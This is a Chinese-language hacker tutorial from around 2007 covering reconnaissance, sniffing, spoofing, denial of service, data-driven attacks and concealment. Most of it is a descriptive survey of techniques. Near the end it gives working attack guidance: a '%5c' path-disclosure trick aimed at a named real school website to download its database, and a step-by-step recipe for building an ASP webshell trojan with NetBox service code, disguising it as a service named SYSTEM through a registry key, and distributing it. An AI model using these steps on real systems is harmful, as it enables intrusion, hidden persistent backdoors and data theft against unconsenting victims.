黑客基础___探测技术

  我们可以从攻击者的角度出发,将攻击的步骤可分为探测(Probe)、攻击(Exploit)和隐藏(Conceal)。同时,攻击技术据此可分为探测技术、攻击技术和隐藏技术三大类,并在每类中对各种不同的攻击技术进行细分。
  一、探测技术和攻击测试平台的发展  
  探测是黑客在攻击开始前必需的情报收集工作,攻击者通过这个过程需要尽可能详细的了解攻击目标安全相关的方方面面信息,以便能够集中火力进行攻击。探测又可以分为三个基本步骤:踩点、扫描和查点。如下表所示:
攻击技术 攻击方法
  探测技术
踩点 查询域名、DNS、网络勘察
  扫描
Ping 扫描
ipsweep
端口扫描
portsweep, resetscan
操作系统辨识
queso
漏洞扫描
satan, mscan
查点 ls, ntinfoscan
   1、三部曲:踩点、扫描和查点
  如果将服务器比作一个大楼,主机入侵信息收集及分析要做的工作就如在大楼中部署若干个摄像头,在大楼发生盗窃事件之后,对摄像头中的影像进行分析,进而为报案和“亡羊补牢”做准备。
 
   第一步:踩点。是指攻击者结合各种工具和技巧,以正常合法的途径对攻击目标进行窥探,对其安全情况建立完整的剖析图。在这个步骤中,主要收集的信息包括:各种联系信息,包括名字、邮件地址和电话号码、传真号;IP地址范围;DNS服务器;邮件服务器。对于一般用户来说,如果能够利用互联网中提供的大量信息来源,就能逐渐缩小范围,从而锁定所需了解的目标。几种实用的流行方式有:通过网页搜寻和链接搜索、利用互联网域名注册机构进行Whois查询、利用Traceroute获取网络拓扑结构信息等。
   第二步:扫描。是攻击者获取活动主机、开放服务、操作系统、安全漏洞等关键信息的重要技术。扫描技术包括Ping 扫描(确定哪些主机正在活动)、端口扫描(确定有哪些开放服务)、操作系统辨识(确定目标主机的操作系统类型)和安全漏洞扫描(获得目标上存在着哪些可利用的安全漏洞)。Ping扫射可以帮助我们判断哪些系统是存活的。而通过端口扫描可以同目标系统的某个端口来建立连接,从而确定系统目前提供什么样的服务或者哪些端口正处于侦听状态。著名的扫描工具包括nmap,netcat 等,知名的安全漏洞扫描工具包括开源的nessus 及一些商业漏洞扫描产品如ISS 的Scanner 系列产品。另外,在网络环境下,网络扫描技术则是指检测目标系统是否同互联网连接、所提供的网络服务类型等等。通过网络扫描获得的信息有:被扫描系统所运行的TCP/UDP服务;系统体系结构;通过互联网可以访问的IP地址范围;操作系统类型等。
   第三步:查点。是攻击者常采用的从目标系统中抽取有效账号或导出资源名的技术。通常这种信息是通过主动同目标系统建立连接来获得的,因此这种查询在本质上要比踩点和端口扫描更具有入侵效果。查点技术通常和操作系统有关,所收集的信息包括用户名和组名信息、系统类型信息、路由表信息和SNMP信息等。
  综观本年度比较热门的攻击事件,可以看到,在寻找攻击目标的过程中,以下手段明显加强:
   (1)通过视频文件寻找“肉鸡”。在今年,这种方法大有星火燎原之势,攻击者首先要配置木马,然后制作视频木马,如RM木马、WMV木马等,然后通过P2P软件、QQ发送、论坛等渠道进行传播,用户很难察觉。
   (2)根据漏洞公告寻找“肉鸡”。现在,关于漏洞技术的网站专业性更强,在 [url]http://www.milw0rm.com[/url]这个网站上,经常会公布一些知名黑客发现的漏洞,从远程攻击、本地攻击到脚本攻击等,描述十分详细。在漏洞补丁没有发布之前,这些攻击说明可能会进一步加大网络安全威胁。
    (3)利用社会心理学、社会工程学获取目标信息。比如,通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段,取得自身利益的手法,近年来已呈迅速上升甚至滥用的趋势。目前,已经有攻击者通过“溯雪+社会工程学”的形式破解了263信箱。
 
二、2007年网络攻击和隐藏技术发展趋势
1、窃听技术的发展趋势
  窃听技术是攻击者通过非法手段对系统活动的监视从而获得一些安全关键信息。目前属于窃听技术的流行攻击方法有键击记录器、网络监听、非法访问数据和攫取密码文件。可以从以下几个方面来分析。
        (1)键击记录器。这是植入操作系统内核的隐蔽软件,通常实现为一个键盘设备驱动程序,能够把每次键击都记录下来,存放到攻击者指定的隐藏的本地文件中。著名的有Win32 平台下适用的IKS 等。
   (2)网络监听。这是攻击者一旦在目标网络上获得一个立足点之后刺探网络情报的最有效方法,通过设置网卡的混杂(promiscuous)模式获得网络上所有的数据包,并从中抽取安全关键信息,如明文方式传输的口令。Unix 平台下提供了libpcap 网络监听工具库和tcpdump、dsniff 等著名监听工具,而在Win32 平台下也拥有WinPcap监听工具库和windump、dsniff forWin32、Sniffer等免费工具,另外还有专业工具Sniffer Pro等。
   (3)非法访问数据。这是指攻击者或内部人员违反安全策略对其访问权限之外的数据进行非法访问。
   (4)攫取密码文件。这是攻击者进行口令破解获取特权用户或其他用户口令的必要前提,关键的密码文件如Windows 9x下的PWL 文件、Windows NT/2000下的SAM文件和Unix平台下的/etc/password 和/etc/shadow。
2、欺骗技术的发展趋势
  欺骗技术是攻击者通过冒充正常用户以获取对攻击目标访问权或获取关键信息的攻击方法,属于此类的有获取口令、恶意代码、网络欺骗等攻击手法。下面,我们归纳了2007年比较热门的一些欺骗技术。具体如下:
   第1种:获取口令的方式。主要有通过缺省口令、口令猜测和口令破解三种途径。某些软件和网络设备在初始化时,会设置缺省的用户名和密码,但也给攻击者提供了最容易利用的脆弱点。口令猜测则是历史最为悠久的攻击手段,由于用户普遍缺乏安全意识,不设密码或使用弱密码的情况随处可见,这也为攻击者进行口令猜测提供了可能。口令破解技术则提供了进行口令猜测的自动化工具,通常需要攻击者首先获取密码文件,然后遍历字典或高频密码列表从而找到正确的口令。著名的工具有John the Ripple、Crack和适用于Win32平台的L0phtcrack等。
       第2种:恶意代码。包括特洛伊木马应用程序、邮件病毒、网页病毒等,通常冒充成有用的软件工具、重要的信息等,诱导用户下载运行或利用邮件客户端和浏览器的自动运行机制,在启动后暗地里安装邪恶的或破坏性软件的程序,通常为攻击者给出能够完全控制该主机的远程连接。
   第3种:网络欺骗。是攻击者向攻击目标发送冒充其信任主机的网络数据包,达到获取访问权或执行命令的攻击方法。具体的有IP 欺骗、会话劫持、ARP(地址解析协议)重定向和RIP(路由信息协议)路由欺骗等。
   (1)IP 欺骗。是指攻击者将其发送的网络数据包的源IP地址篡改为攻击目标所信任的某台主机的IP地址,从而骗取攻击目标信任的一种网络欺骗攻击方法。通用应用于攻击Unix 平台下通过IP 地址进行认证的一些远程服务如rlogin、rsh等,也常应用于穿透防火墙。
   (2)会话劫持指。是指攻击者冒充网络正常会话中的某一方,从而欺骗另一方执行其所要的操作。目前较知名的如TCP 会话劫持,通过监听和猜测TCP 会话双方的ACK,插入包含期待ACK的数据包,能够冒充会话一方达到在远程主机上执行命令的目的。支持TCP 会话劫持的工具有最初的Juggernaut 产品和著名的开源工具Hunt。
   (3)ARP欺骗。这种方法提供将IP地址动态映射到MAC 地址的机制,但ARP机制很容易被欺骗,攻击主机可以发送假冒的ARP 回答给目标主机发起的ARP查询,从而使其错误地将网络数据包都发往攻击主机,导致拒绝服务或者中间人攻击。由于RIP没有身份认证机制,因此攻击者很容易发送冒充的数据包欺骗RIP 路由器,使之将网络流量路由到指定的主机而不是真正希望的主机,达到攻击的目标。
  2007年以来,通过欺骗的方式获得机密信息的事件越来越多,在国内比较严重的银行诈骗事件已经让不少用户开始感觉到网络中存在的安全隐患。下面是国际反钓鱼组织公布了一个典型案例。攻击者发了一个欺骗的邮件并声称:按照年度计划,用户的数据库信息需要进行例行更新,并给出了一个“To update your account address”连接地址。由于这封Email来自 [email protected],因此,一般人不会太怀疑。不过,细心的用户会发现,表面地址是[url]http://comcast-database.biz/[/url],实际地址是[url]http://66.113.136.225[/url]。很明显,这个攻击者利用了URL欺骗技术,以达到其不可告人的目的!
  此外,还有不少流氓软件通过欺骗技术,未经许可强行潜伏到用户电脑中,而且此类程序无卸载程序,无法正常卸载和删除,强行删除后还会自动生成。有迹象表明,病毒、黑客和流氓软件正紧密结合,日益趋于商业化、集团化,并且已经形成了一根完整的产业链条。
   3、拒绝服务攻击技术的发展
  拒绝服务攻击指中断或者完全拒绝对合法用户、网络、系统和其他资源的服务的攻击方法,被认为是最邪恶的攻击,其意图就是彻底地破坏,而这往往比真正取得他们的访问权要容易得多,同时所需的工具在网络上也唾手可得。因此拒绝服务攻击,特别是分布式拒绝服务攻击对目前的互联网络构成了严重的威胁,造成的经济损失也极为庞大。拒绝服务攻击的类型按其攻击形式划分包括导致异常型、资源耗尽型、分布式拒绝服务攻击(DDoS)。
   第1种,导致异常型拒绝服务攻击。这种方法利用软硬件实现上的编程缺陷,导致其出现异常,从而使其拒绝服务。如著名的Ping of Death攻击和利用IP协议栈对IP 分片重叠处理异常的Treadrop攻击。
   第2种,资源耗尽型拒绝服务攻击。这种方法通过大量消耗资源使得攻击目标由于资源耗尽不能提供正常的服务。根据资源类型的不同可分为带宽耗尽和系统资源耗尽两类。带宽耗尽攻击的本质是攻击者通过放大等技巧消耗掉目标网络的所有可用带宽。系统资源耗尽攻击指对系统内存、CPU 或程序中的其他资源进行消耗,使其无法满足正常提供服务的需求。著名的Syn Flood 攻击即是通过向目标服务发送大量的数据包,造成服务的连接队列耗尽,无法再为其他正常的连接请求提供服务。
   第3种,分布式拒绝服务攻击。这种方法通过控制多台傀儡主机,利用他们的带宽资源集中向攻击目标发动总攻,从而耗尽其带宽或系统资源的攻击形式。DDoS攻击的第一步是瞄准并获得尽可能多的傀儡主机的系统管理员访问权,然后上传DDoS攻击并运行。目前著名的DDoS 工具有TFN(Tribe FloodNetwork)、TFN2K、Trinoo、WinTrinoo和Stacheldraht等。
        从2007年网络攻击技术的发展情况来看,最近发生的拒绝服务攻击事件大多与联机游戏有关。某些玩家对在游戏中被人杀死或丢失他们喜爱的武器不满意,因此发动拒绝服务攻击,许多服务器已经成为这种攻击的牺牲品。另外,使用拒绝服务进行网络敲诈勒索的事件仍然十分频繁,攻击者通过在短暂而非紧要的时间段内发动攻击,对用户的数据构成威胁,受害者则不得不为此而支付“保护费”。
   4、数据驱动攻击技术及其新发展
  数据驱动攻击是通过向某个程序发送数据,以产生非预期结果的攻击,通常为攻击者给出访问目标系统的权限,数据驱动攻击分为缓冲区溢出攻击、格式化字符串攻击、输入验证攻击、同步漏洞攻击、信任漏洞攻击等。
   第1种,缓冲区溢出攻击。缓冲区溢出攻击的原理是向程序缓冲区写入超出其边界的内容,造成缓冲区的溢出,使得程序转而执行其他攻击者指定的代码,通常是为攻击者打开远程连接的ShellCode,以达到攻击目标。近年来著名的蠕虫如Code-Red、SQL.Slammer、Blaster 和Sasser 等,都是通过缓冲区溢出攻击获得系统权限后进行传播。
   第2种,同步漏洞攻击。这种方法主要是利用程序在处理同步操作时的缺陷,如竞争状态。信号处理等问题,以获取更高权限的访问。发掘信任漏洞攻击则利用程序滥设的信任关系获取访问权的一种方法,著名的有Win32 平台下互为映像的本地和域Administrator 凭证、LSA 密码(Local SecurityAuthority)和Unix 平台下SUID 权限的滥用和X Window 系统的xhost 认证机制等。
   第3种,格式化字符串攻击。这种方法主要是利用由于格式化函数的微妙程序设计错误造成的安全漏洞,通过传递精心编制的含有格式化指令的文本字符串,以使目标程序执行任意命令。输入验证攻击针对程序未能对输入进行有效的验证的安全漏洞,使得攻击者能够让程序执行指定的命令。
  下面是一个很有代表性的例子。打开某些网页时,可以把网址中的“/”换成“%5c”然后提交,这样就可以暴出数据库的路径。成功后,会有类似的提示:“确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。” 在Google或者百度中,搜索关键词“wishshow.asp?id=”,找到一些具有缺陷的的许愿板程序。本例是一个台湾测试站点,地址为[url]http://web.gges.tp.edu.tw/asp/wish/wishshow.asp?id=117[/url]。在wish后,用“%5c”替换“/”,地址就变成了[url]http://web.gges.tp.edu.tw/asp/wish%5c[/url] wishshow.asp?id=117,这样就可以暴出对方数据库了。根据错误提示,数据库是db.mdb,而且还可以直接下载。如图4所示。
  “%5c”并不是网页本身的漏洞,而是利用了IIS解码方式的一个缺陷。实际上是“\”的十六进制代码,是“\”的另一种表示法。但是,提交“\”和“%5c”却会产生不同的结果。在IE中,我们把下面第一个地址中的“/”换成“\”提交:
 [url]http://web.gges.tp.edu.tw/asp/wish/wishshow.asp?id=117[/url]
 [url]http://web.gges.tp.edu.tw/asp/wish[/url]\wishshow.asp?id=117
  二者的访问结果是一样的。IE会自动把“\”转变成“/”,从而访问到同一地址。但是,当我们把“/”换成十六进制写法“%5c”时,IE就不会对此进行转换,地址中的“%5c”被原样提交了。2007年以来,针对网站、论坛等程序的攻击依然是一大热点,一些大学网站、论坛甚至一些知名企业的站点都遭遇了不同程度的攻击。比较热门的事件有:OBlog2.52文件删除漏洞、COCOON在线文件管理器上传漏洞、PJBlog v2.2用户提权再提权、BBSXP 6.0 SQL版的版主提权漏洞、雪人“SF v2.5 for Access”版论坛漏洞等,这些攻击手法都综合了多种技巧,尤其是数据驱动攻击技术的运用。
        5、隐藏技术及其新发展
  攻击者在完成其攻击目标后,通常会采取隐藏技术来消除攻击留下的蛛丝马迹,避免被系统管理员发现,同时还会尽量保留隐蔽的通道,使其以后还能轻易的重新进入目标系统。隐藏技术主要包括日志清理、内核套件、安装后门等。
   第1种,日志清理。日志清理主要对系统日志中攻击者留下的访问记录进行清除,从而有效地抹除自己的动踪迹。Unix平台下较常用的日志清理工具包括zap、wzap、wted 和remove。攻击者通常在获得特权用户访问权后会安装一些后门工具,以便轻易地重新进入或远程控制该主机,著名的后门工具包括BO、netbus和称为“瑞士军刀”的netcat等;攻击者还可对系统程序进行特洛伊木马化,使其隐藏攻击者留下的程序、服务等。
   第2种,内核套件。内核套件则直接控制操作系统内核,提供给攻击者一个完整的隐藏自身的工具包,著名的有knark for Linux、Linux Root Kit 及rootkit。
   第3种,安装木马后门。木马的危害性在于它对电脑系统强大的控制和破坏能力,窃取密码、控制系统操作、进行文件操作等等,一般的木马都有客户端和服务器端两个执行程序,其中客户端是用于攻击者远程控制植入木马的机器,服务器端程序即是木马程序。木马在被植入攻击主机后,它一般会通过一定的方式把入侵主机的信息,如主机的IP地址、木马植入的端口等发送给攻击者,这样攻击者有这些信息才能够与木马里应外合控制攻击主机。本文将通过网络盒子NetBox做一个木马,它可以方便的将ASP等脚本编译成为独立运行的执行程序,完全不用考虑平台兼容性要求。步骤如下:
   第1步:创建一个NetBox应用。创建一个空的目录,假设是c:\web;同时,在目录中创建一个文件,命名为main.box,其内容为:
  Dim httpd
  '------------设置在服务中运行的名称,可适当修改进行隐藏---------------------
  Shell.Service.RunService "NBWeb", "NetBox Web Server", "NetBox Http Server Sample"
  '---------------------- 设置服务器启动---------------------
  Sub OnServiceStart()
    Set httpd = CreateObject("NetBox.HttpServer")
  '-------以下设置浏览端口,可修改为其他参数,或更改wwwroot目录----
    If httpd.Create("", 8080) = 0 Then
    Set host = httpd.AddHost("", "\wwwroot")
    host.EnableScript = true
    host.AddDefault "default.asp"
    host.AddDefault "default.htm"
    httpd.Start
    else
    Shell.Quit 0
    end if
  End Sub
  Sub OnServiceStop()
    httpd.Close
  End Sub
  Sub OnServicePause()
    httpd.Stop
  End Sub
  Sub OnServiceResume()
    httpd.Start
  End Sub
   第2步:设置木马运行环境。在c:\web目录中再创建一个子目录wwwroot,并将我们所需要的ASP木马文件全部复制到wwwroot 中,这里选用的是海阳顶端ASP木马。此时,ASP运行环境应该已经准备好了。为了运行新建的NetBox 应用,必须确认8080端口没有被其他程序占用。双击main.box文件,就可以在窗口右下角看见NetBox的图标。此时,NetBox 已经正常运行了。现在,访问[url]http://localhost:8080/[/url]测试ASP木马是否能正常运行。这种木马的好处是,不用担心有日志记录。但是现在它还远不是一个后门,只是提供了与IIS相当的功能
   第3步:编译。执行“NetBox Deployment Wizard”,点击“选择文件夹”,找到刚才建立的目录C:\web,设置文件类型和输出文件名后,点“Build...(编译)”按钮,开始编译,就得到了编译成功的那个执行文件。因为这个例程是以服务方式创建的Web 服务器,所以可以在命令行下执行:myapp -install将应用安装成为服务,这样,系统无须登录便可以自动运行应用了。如果需要卸载服务,则可以在命令行下执行如下命令:myapp �Cremove。(myapp代表输出的应用文件名,如本例中的test),如图5所示。
   第4步:隐藏服务。要达到“神不知鬼不觉”的效果,首先需要把应用程序添加为服务,我们可以使用Windows提供的Instsrv.exe和Srvany.exe这两个小软件。在命令行下,先把Instsrv.exe把Srvany.exe注册为服务。格式为:INSTSRV 服务名 SRVANY的路径,如:“INSTSRV SYSTEM C:\WEB\SRVANY.EXE”。其中SYSTEM是为了便于隐藏服务名。
   第5步:添加注册表键值。注册成功后,打开注册表如下键值:[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SYSTEM]。SYSTEM是刚才我们注册的服务名,在SYSTEM下面先建立一个项PARAMETERS,然后在这个项上建立一个键值APPLICATION,填上我们要执行的文件路径如C:\web\test.exe,就可以了。
   第6步:启动服务。方法有两种,第一种是在图形界面,直接进入“管理工具”下的“服务”面板;另一种是在命令行下,启动命令为:“NET START SYSTEM”,停止命令为:“NET STOP SYSTEM”。如果要将这个服务删除,可以用如下命令:“SC DELETE SYSTEM”。
   第7步:制作并发布木马。结合批处理和脚本把这个做成自解压文件,或者其他的上传方式,比如通过后台数据库备份上传后再修改密码。
  值得注意的是,2007年木马技术发展迅猛,除了一些老牌木马,其他有特色的木马也让人头疼不已,例如管理型木马――ncph远程控制;国产木马新秀PCView 2007;五毒俱全的蜜蜂大盗;木马Erazer Lite;另类的远程控制工具JXWebSver等。这些木马隐藏技术的不断提高,也给用户带来了许多麻烦。

你可能感兴趣的:(职场,hacker,休闲,探测技术)